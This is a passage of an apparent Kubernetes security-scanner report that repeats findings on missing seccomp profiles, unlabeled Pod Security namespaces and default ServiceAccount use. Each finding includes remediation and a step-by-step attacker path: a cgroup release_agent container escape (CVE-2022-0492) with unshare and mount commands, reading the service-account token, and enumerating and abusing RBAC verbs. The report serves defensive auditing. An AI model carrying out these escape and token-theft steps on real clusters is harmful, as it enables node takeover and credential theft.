  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n vulnerable <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/root-runner Workload 5.5
Container app runs without a seccomp profile in Deployment/vulnerable/root-runner
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Privilege Escalation Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in Deployment/vulnerable/root-runner either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n vulnerable <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/root-runner -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/socket-mounts-app Workload 5.5
Container app runs without a seccomp profile in Deployment/vulnerable/socket-mounts-app
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Container app in Deployment/vulnerable/socket-mounts-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n vulnerable <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/socket-mounts-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/local-path-storage/local-path-provisioner Workload 5.5
Container local-path-provisioner runs without a seccomp profile in Deployment/local-path-storage/local-path-provisioner
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner
Category: Privilege Escalation Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n local-path-storage <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/local-path-provisioner -n local-path-storage -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerlocal-path-provisioner
Show raw JSON
{
  "container": "local-path-provisioner"
}
MEDIUM Deployment/secrets-bundle/cross-ns-consumer Workload 5.5
Container pause runs without a seccomp profile in Deployment/secrets-bundle/cross-ns-consumer
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer
Category: Privilege Escalation Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Container pause in Deployment/secrets-bundle/cross-ns-consumer either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n secrets-bundle <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/cross-ns-consumer -n secrets-bundle -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerpause
Show raw JSON
{
  "container": "pause"
}
MEDIUM

Namespace psa-unlabeled-fixtures runs Baseline violators but has no PSA enforce label

KUBE-PSA-LABELS-001 2 subjects Score 5.5
MITRE ATT&CK: T1610

Affected subjects (2)

MEDIUM Namespace/psa-unlabeled-fixtures Namespace 5.5
Namespace psa-unlabeled-fixtures runs Baseline violators but has no PSA enforce label
Scope · Namespace Namespace psa-unlabeled-fixtures
Category: Defense Evasion Resource: Namespace/psa-unlabeled-fixtures Namespace: psa-unlabeled-fixtures

Namespace psa-unlabeled-fixtures carries PSA labels (pod-security.kubernetes.io/enforce = missing, audit = missing, warn = missing) but is running pods that violate the PSA Baseline level: Deployment/psa-unlabeled-app (hostNetwork). Per the Kubernetes Pod Security Standards contract, every namespace SHOULD declare an enforce label at baseline or stricter, even if the operator initially leaves it permissive (privileged) for legacy workloads. Without enforce, every future Pod create/update in this namespace is admitted regardless of how dangerous its PodSpec is.

PSA labels are the cluster's first line of defense at the namespace boundary: they're cheap, they're built in (no external admission webhook), and they document operator intent ("this namespace is for system DaemonSets that need hostNetwork" reads very differently from "someone forgot to label this"). The fact that this namespace already contains baseline-violating pods means the gap is not theoretical - the next deploy will silently regress.

If you genuinely need permissive workloads in this namespace, the recommended pattern is enforce: privileged with audit: baseline and warn: baseline: PSA admits the pod (you stay productive), the audit log records the violation (you have evidence), and the user-agent gets a warning (your engineers see it during kubectl apply).

Impact Future Pod create/update requests in this namespace bypass PSA entirely. A regression that adds privileged: true or hostPath: / to an existing workload is admitted with no warning, no audit-log entry, and no rejection.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises a CI service account that can deploy to this namespace.
  2. They push a manifest that mounts hostPath: / (or sets privileged: true).
  3. PSA admits the pod with no warning - the namespace has no enforce label.
  4. They escape the container to the node, steal kubelet credentials, and pivot.
Remediation
Apply pod-security.kubernetes.io/enforce: baseline (or restricted) to namespace psa-unlabeled-fixtures, plus audit: baseline and warn: baseline so future regressions are logged. If the namespace genuinely needs permissive workloads, use enforce: privileged paired with audit/warn at baseline.
  1. Pick the right enforce level. For most app namespaces use restricted (drops most root, hostPath, capabilities). For system DaemonSets use baseline. For namespaces that genuinely need privileged workloads, set enforce: privileged but add audit: baseline so violations are logged.
  2. Apply the labels: kubectl label namespace psa-unlabeled-fixtures pod-security.kubernetes.io/enforce=baseline pod-security.kubernetes.io/audit=baseline pod-security.kubernetes.io/warn=baseline. Pin the version with pod-security.kubernetes.io/enforce-version=v1.30 (or your cluster version).
  3. Run kubectl get pods -n psa-unlabeled-fixtures -o yaml | grep -E 'privileged|hostPath|hostNetwork' and triage existing violators before tightening enforce. PSA only blocks new admissions; existing pods keep running, but a rolling restart will fail.
  4. Validate: kubectl get namespace psa-unlabeled-fixtures -o jsonpath='{.metadata.labels}' | grep pod-security returns the three labels.
Evidence
baseline_violations
[
  "Deployment/psa-unlabeled-app (hostNetwork)"
]
Show raw JSON
{
  "audit_label": "",
  "baseline_violations": [
    "Deployment/psa-unlabeled-app (hostNetwork)"
  ],
  "enforce_label": "",
  "warn_label": ""
}
MEDIUM Namespace/vulnerable Namespace 5.5
Namespace vulnerable runs Baseline violators but has no PSA enforce label
Scope · Namespace Namespace vulnerable
Category: Defense Evasion Resource: Namespace/vulnerable Namespace: vulnerable

Namespace vulnerable carries PSA labels (pod-security.kubernetes.io/enforce = missing, audit = missing, warn = missing) but is running pods that violate the PSA Baseline level: Deployment/generic-hostpath-app (hostPath), Deployment/host-ns-app (hostPID), Deployment/host-ns-app (hostIPC), Deployment/risky-app (hostNetwork), Deployment/risky-app (hostPath), and 2 more. Per the Kubernetes Pod Security Standards contract, every namespace SHOULD declare an enforce label at baseline or stricter, even if the operator initially leaves it permissive (privileged) for legacy workloads. Without enforce, every future Pod create/update in this namespace is admitted regardless of how dangerous its PodSpec is.

PSA labels are the cluster's first line of defense at the namespace boundary: they're cheap, they're built in (no external admission webhook), and they document operator intent ("this namespace is for system DaemonSets that need hostNetwork" reads very differently from "someone forgot to label this"). The fact that this namespace already contains baseline-violating pods means the gap is not theoretical - the next deploy will silently regress.

If you genuinely need permissive workloads in this namespace, the recommended pattern is enforce: privileged with audit: baseline and warn: baseline: PSA admits the pod (you stay productive), the audit log records the violation (you have evidence), and the user-agent gets a warning (your engineers see it during kubectl apply).

Impact Future Pod create/update requests in this namespace bypass PSA entirely. A regression that adds privileged: true or hostPath: / to an existing workload is admitted with no warning, no audit-log entry, and no rejection.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises a CI service account that can deploy to this namespace.
  2. They push a manifest that mounts hostPath: / (or sets privileged: true).
  3. PSA admits the pod with no warning - the namespace has no enforce label.
  4. They escape the container to the node, steal kubelet credentials, and pivot.
Remediation
Apply pod-security.kubernetes.io/enforce: baseline (or restricted) to namespace vulnerable, plus audit: baseline and warn: baseline so future regressions are logged. If the namespace genuinely needs permissive workloads, use enforce: privileged paired with audit/warn at baseline.
  1. Pick the right enforce level. For most app namespaces use restricted (drops most root, hostPath, capabilities). For system DaemonSets use baseline. For namespaces that genuinely need privileged workloads, set enforce: privileged but add audit: baseline so violations are logged.
  2. Apply the labels: kubectl label namespace vulnerable pod-security.kubernetes.io/enforce=baseline pod-security.kubernetes.io/audit=baseline pod-security.kubernetes.io/warn=baseline. Pin the version with pod-security.kubernetes.io/enforce-version=v1.30 (or your cluster version).
  3. Run kubectl get pods -n vulnerable -o yaml | grep -E 'privileged|hostPath|hostNetwork' and triage existing violators before tightening enforce. PSA only blocks new admissions; existing pods keep running, but a rolling restart will fail.
  4. Validate: kubectl get namespace vulnerable -o jsonpath='{.metadata.labels}' | grep pod-security returns the three labels.
Evidence
baseline_violations
[
  "Deployment/generic-hostpath-app (hostPath)",
  "Deployment/host-ns-app (hostPID)",
  "Deployment/host-ns-app (hostIPC)",
  "Deployment/risky-app (hostNetwork)",
  "Deployment/risky-app (hostPath)",
  "Deployment/risky-app (privileged)",
  "Deployment/socket-mounts-app (hostPath)"
]
Show raw JSON
{
  "audit_label": "",
  "baseline_violations": [
    "Deployment/generic-hostpath-app (hostPath)",
    "Deployment/host-ns-app (hostPID)",
    "Deployment/host-ns-app (hostIPC)",
    "Deployment/risky-app (hostNetwork)",
    "Deployment/risky-app (hostPath)",
    "Deployment/risky-app (privileged)",
    "Deployment/socket-mounts-app (hostPath)"
  ],
  "enforce_label": "",
  "warn_label": ""
}
MEDIUM

Workload Deployment/cloud-eks-test/imds-pivot-app runs as the namespace default ServiceAccount

KUBE-SA-DEFAULT-001 16 subjects Score 5.4
MITRE ATT&CK: T1552.001T1078T1528

Affected subjects (16)

MEDIUM Deployment/cloud-eks-test/imds-pivot-app Workload 5.4
Workload Deployment/cloud-eks-test/imds-pivot-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Workload Deployment/cloud-eks-test/imds-pivot-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n cloud-eks-test create sa imds-pivot-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: imds-pivot-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n cloud-eks-test -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n cloud-eks-test -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/containersec-fixtures/containersec-image Workload 5.4
Workload Deployment/containersec-fixtures/containersec-image runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-image does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n containersec-fixtures create sa containersec-image-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: containersec-image-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n containersec-fixtures -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/containersec-fixtures/containersec-lifecycle Workload 5.4
Workload Deployment/containersec-fixtures/containersec-lifecycle runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-lifecycle does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n containersec-fixtures create sa containersec-lifecycle-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: containersec-lifecycle-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n containersec-fixtures -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/containersec-fixtures/containersec-limits Workload 5.4
Workload Deployment/containersec-fixtures/containersec-limits runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-limits does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
